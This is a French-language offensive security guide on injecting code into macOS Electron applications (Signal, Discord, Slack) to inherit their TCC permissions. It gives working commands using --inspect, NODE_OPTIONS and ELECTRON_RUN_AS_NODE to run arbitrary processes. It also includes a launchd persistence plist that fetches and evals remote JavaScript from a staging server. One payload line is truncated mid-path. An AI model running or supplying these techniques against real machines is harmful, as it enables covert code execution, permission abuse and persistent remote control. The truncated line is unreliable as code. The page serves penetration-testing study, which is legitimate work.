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Injection de code dans les applications Electron macOS
Le code JS d'une application Electron n'est pas signé, donc un attaquant pourrait déplacer l'application vers un emplacement inscriptible, injecter du code JS malveillant et lancer cette application pour abuser des autorisations TCC.
Cependant, l'autorisation kTCCServiceSystemPolicyAppBundles
est nécessaire pour modifier une application, donc par défaut cela n'est plus possible.
Inspection d'une application Electron
Selon ceci, si vous exécutez une application Electron avec des indicateurs tels que --inspect
, --inspect-brk
et --remote-debugging-port
, un port de débogage sera ouvert pour que vous puissiez vous y connecter (par exemple depuis Chrome dans chrome://inspect
) et vous pourrez injecter du code ou même lancer de nouveaux processus.
Par exemple:
{% code overflow="wrap" %}
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
{% hint style="danger" %}
Notez que maintenant les applications Electron renforcées avec RunAsNode désactivé ignoreront les paramètres de node (tels que --inspect) lorsqu'elles seront lancées à moins que la variable d'environnement ELECTRON_RUN_AS_NODE
ne soit définie.
Cependant, vous pouvez toujours utiliser le paramètre electron --remote-debugging-port=9229
, mais la charge utile précédente ne fonctionnera pas pour exécuter d'autres processus.
{% endhint %}
NODE_OPTIONS
{% hint style="warning" %}
Cette variable d'environnement ne fonctionnerait que si l'application Electron n'a pas été correctement renforcée et qu'elle l'autorise. Si elle est renforcée, vous devrez également utiliser la variable d'environnement ELECTRON_RUN_AS_NODE
.
{% endhint %}
Avec cette combinaison, vous pouvez stocker la charge utile dans un fichier différent et exécuter ce fichier:
{% code overflow="wrap" %}
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
ELECTRON_RUN_AS_NODE
Selon la documentation, si cette variable d'environnement est définie, elle démarrera le processus en tant que processus Node.js normal.
{% code overflow="wrap" %}
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
Comme proposé ici, vous pourriez abuser de cette variable d'environnement dans un plist pour maintenir la persistance :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
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